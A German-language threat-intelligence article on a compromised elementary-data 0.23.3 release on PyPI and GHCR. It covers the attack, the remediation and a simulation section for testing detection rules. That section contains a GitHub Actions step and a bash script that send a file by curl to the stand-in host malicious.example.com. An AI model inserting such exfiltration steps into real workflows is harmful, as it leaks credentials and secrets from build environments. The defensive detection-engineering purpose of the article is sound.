SOC Prime Bias: Kritisch

29 Apr 2026 14:42 UTC

Elementary-data über gefälschtes GitHub Release auf PyPI und GHCR kompromittiert

Author Photo
SOC Prime Team linkedin icon Folgen
Elementary-data über gefälschtes GitHub Release auf PyPI und GHCR kompromittiert
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Eine bösartige Version des elementary-data Python-Pakets, Version 0.23.3, wurde auf PyPI hochgeladen, während ein entsprechendes kompromittiertes Container-Image auch auf das GitHub Container Registry gepusht wurde. Der Angreifer fügte bösartigen Code in einen GitHub Actions-Workflow ein, fälschte eine signierte Veröffentlichung und missbrauchte dann das Workflow-Token, um die mit einer Hintertür versehenen Artefakte zu veröffentlichen. Die Nutzlast fungierte als dreistufiger Credenztial-Credential-Stealer, der darauf ausgelegt war, Geheimnisse zu sammeln und sie an eine vom Angreifer kontrollierte Domain zu exfiltrieren. Jede Umgebung, die das betroffene Paket installierte oder das neueste Container-Image zog, war einem Kompromiss ausgesetzt.

Untersuchung

Die Untersuchung ergab, dass der Angriff mit einem Kommentar zu einer offenen Pull-Anfrage begann, der direkt in ein Workflow-Skript eingefügt wurde, was eine Skriptinjektion ermöglichte. Unter Verwendung des Workflows GITHUB_TOKEN, erzeugte der Angreifer einen gefälschten Release-Commit und löste den Veröffentlichungsprozess aus, der dann das trojanisierte Wheel und das Docker-Image verteilte. Die Analyse zeigte, dass eine bösartige .pth Datei einen Base64-Wrapper decodierte, die finale Sammlungskomponente entschlüsselte und eine breite Reihe von Zugangsdaten erntete, bevor sie diese an eine benutzerdefinierte Command-and-Control-Domain übermittelte durch curl.

Abschwächung

Die Projektverantwortlichen entfernten die bösartige Paketversion von PyPI und löschten das kompromittierte Image aus GHCR, bevor sie einen sauberen Ersatz in der Version 0.23.4veröffentlichten. StepSecurity fügte die bösartige Paketversion und die vom Angreifer kontrollierte Domain zur Harden-Runner-Blockliste hinzu und blockierte das Paket während der Ausführung der Pull-Anfrage. Entwickler sollten exakte Paketversionen und Image-Digests anpinnen, vermeiden, sich auf schwebende Tags zu verlassen, und installierte Abhängigkeiten auf unerwartete .pth Dateien auditieren.

Reaktion

Verteidiger sollten nach der Präsenz von elementary.pth innerhalb von site-packages suchen und Systeme identifizieren, die den verdächtigen Docker-Image-Digest gezogen haben. Ausgehende Verbindungen zur bekannten Command-and-Control-Domain sollten sofort blockiert werden. Sicherheitsteams sollten Entwickler-Arbeitsstationen und Build-Umgebungen nach exponierten geheimen Materialien scannen, alle kompromittierten Pakete entfernen und betroffene Zugangsdaten rotieren. CI/CD-Pipelines sollten ebenfalls aktualisiert werden, um Paket-Provenienz zu validieren und striktes Image-Pinning durchzusetzen.

Angriffsfluss

## Simulation der Ausführung

Voraussetzung: Der Telemetrie- & Baseline-Pre-Flight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählungen spiegeln direkt die identifizierten TTPs wider und sollen die genau erwartete Telemetrie erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffsnarrativ & Befehle:
    Ein Angreifer hat ein Repository kompromittiert, das GitHub Actions für CI/CD verwendet. Sie fügen dem Workflow-File einen bösartigen Schritt hinzu:

    - name: Daten exfiltrieren
      run: |
        bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"

    Wenn der Workflow auf dem GitHub Actions Runner ausgeführt wird, sieht der Prozessbaum aus wie:

    1. sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"
    2. bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot" (Elternprozess)
    3. curl --data-binary @/tmp/secret_data http://malicious.example.com/loot (Kindprozess)

    The auditd Protokoll für Schritt 2 enthält eine Befehlszeile sowohl mit bash and curl --data-binary, wodurch die Sigma-Bedingung erfüllt wird.

  • Regressionstests-Skript:

    #!/usr/bin/env bash
    #
    # Simulieren des bösartigen GitHub-Actions-Schritts, der die Erkennungsregel auslösen soll.
    # Erzeugt eine temporäre Datei, schreibt Dummy-Daten und exfiltriert sie dann über Curl, der in Bash eingebunden ist.
    
    set -euo pipefail
    
    # 1. Erstellen von Dummy-Geheimdaten
    tmpfile=$(mktemp /tmp/secret_data.XXXXXX)
    echo "sensitive_information_$(date +%s)" > "$tmpfile"
    
    # 2. Die Exfiltration mit dem anfälligen Muster durchführen
    bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot"
    
    # 3. Bestätigung für den Tester ausgeben
    echo "Bösartige Exfiltration simuliert; Temp-Datei $tmpfile sollte durch Aufräumung gelöscht werden."
  • Aufräumungsbefehle:

    #!/usr/bin/env bash
    # Entfernen aller temporären Dateien, die während der Simulation erstellt wurden
    rm -f /tmp/secret_data.*
    
    # Optional: Stoppen aller verbleibenden Curl-Prozesse (sollte nicht erforderlich sein)
    pkill -f "curl --data-binary" || true